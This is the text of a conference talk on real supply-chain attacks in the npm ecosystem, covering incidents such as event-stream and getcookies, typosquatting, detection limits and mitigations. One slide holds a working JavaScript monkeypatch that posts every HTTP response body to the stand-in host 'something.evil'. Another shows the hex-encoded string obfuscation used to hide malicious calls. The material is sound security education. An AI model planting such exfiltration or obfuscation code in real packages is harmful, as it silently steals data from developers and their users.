@tlhunter@mastodon.social
intrinsic.com

Real World Attacks
in the npm Ecosystem

Thomas Hunter II


I'm writing Distributed Systems with Node.js:
bit.ly/34SHToF

Roadmap

  1. Where we are Today
  2. Cracks in the Surface
  3. Known Incidents
  4. Hard Problem to Solve
  5. Mitigation

Where we are Today

JavaScript and Node.js are Popular

Source: Stack Overflow Developer Survey 2017

npm is Popular

Source: npm This year in JavaScript 2018

Your App is Mostly Third-Party

  • npm reports 97%
  • Try it on your own codebase:
  • $ npx @intrinsic/loc
    • Results from 7 corporate codebases:
    • 94.5% - 99.7% Node Modules

Your application code:    68,490 lines ( 2.44%)
`node_modules` code:   2,740,694 lines (97.56%)

What does it all mean?

We've become quite the lucrative target.

Cracks in the Surface

Supply Chain Risks via npm

A supply chain attack is a cyber-attack that seeks to damage an organization by targeting less-secure elements in the supply network. – Wikipedia
  • Developer Mistakes: Accidentally dangerous code
  • Malicious Modules: Package is always evil
  • Ownership Transfer: Package can become evil

@ChALkeR's Research

Source: Gathering weak npm credentials — June 6th, 2017

@ChALkeR's Research

Source: Gathering weak npm credentials — June 6th, 2017

Thought Experiment

  • What if @ChALkeR had been malicious?

Known Incidents

Module: left-pad

  • Unpublished on March 22nd, 2016
  • All hell broke loose
  • A well-intended user republished the module
  • We got lucky: This was not a security incident

Module: getcookies

  • Discovered and unpublished on May 2nd, 2018
  • Looks for special headers and runs arbitrary code
  • getcookies was a deep dep of mailparser
  • mailparser had 64,000 weekly downloads

Module: event-stream

  • Discovered and unpublished on Nov 26th, 2018
  • Malicious flatmap-stream added as dep
    • Happened after ownership transfer
  • Highly Targeted: Only affected Copay app
    • Module used encoded strings, test file
    • Password was description field of Copay
  • Code in GitHub differed from npm

Package Diff

Source: diff.intrinsic.com/webpack-rtl-plugin/1.8.0/1.8.1 | Automattic/wp-calypso#31138

Other Malicious Modules

Source: Snyk Vulnerability DB

Malicious Modules Gaining Popularity

  • npm unpublishes malicious modules
    • This is a game of cat and mouse
  • Ownership transfers: good can become evil
  • Typo Squatting: discordi.js, jquey, coffescript
  • Victim of our own success: think Windows viruses

Example: Global Monkeypatching

const REQUEST = require('request');
const _Req = REQUEST.Request;
REQUEST.Request = (opts) => { // monkeypatch
  const _callback = opts.callback;
  opts.callback = function (_e, _r, body) {
    const req = require('http').request({
      hostname: 'something.evil', method: 'POST'
    });
    req.write(JSON.stringify(body)).end();
    _callback.apply(this, arguments);
  };
  return new.target ?
    Reflect.construct(_Req, [opts]) : _Req(opts);
};

Hard Problem to Solve

Static Analysis won't save you

  • event-stream incident used encoded strings
function d(str) {
  return Buffer.from(str, 'hex').toString();
}

d("6372656174654465636970686572"); // "createDecipher"

require(d(n[2]))[d(n[6])](d(n[5]); // minified version
require('crypto')['createDecipher']('aes256', pkgDesc);

OSS Ownership Transfer

  • Need a better system for ownership transfer
  • Affects all of OSS, not just npm
  • Should npm force Semver major with new owner?

Need a “CSP for Node.js”

Intrinsic Policies

const PG = 'postgres://pguser@pghost:9876/auth';
const REDIS = 'redis://redishost:6379/1';
routes.allRoutes(policy => {
  policy.sql.allowConnect(PG);
  policy.redis.allowConnect(REDIS);
});
routes.get('/users/*', policy => {
  policy.redis.allowCommandKey(REDIS, 'GET', 'user-*');
  policy.sql.allowQuery(PG, 'SELECT * FROM users');
});
routes.post('/admin/lock', policy => {
  policy.fs.allowWrite('/tmp/app.lock');
  policy.outboundHttp.allowGet('http://example.org/');
});

Mitigation

npm Account Housekeeping

  • Enable Two-Factor Authentication
  • Use a one-off password, password manager

Favor Packages without Dependencies

  • Or at least prefer modules with fewer deps
  • I wish npm had a badge

Automated Audits

Run npm audit periodically, update when possible.

Interpersonal Mitigation

  • Research potential module maintainers
  • Only pass ownership to established users
  • Donate money to package owners, bounties

Mitigation by npm

  • Only npm may unpublish a module
  • Brute force login detection
  • Reject weak passwords upon registration
  • Replace .npmrc password with token
  • Added 2FA support
  • Acquired security company ^Lift + NSP database
  • The NSP database became npm audit
  • Actively unpublish malicious modules

Further Reading

Fin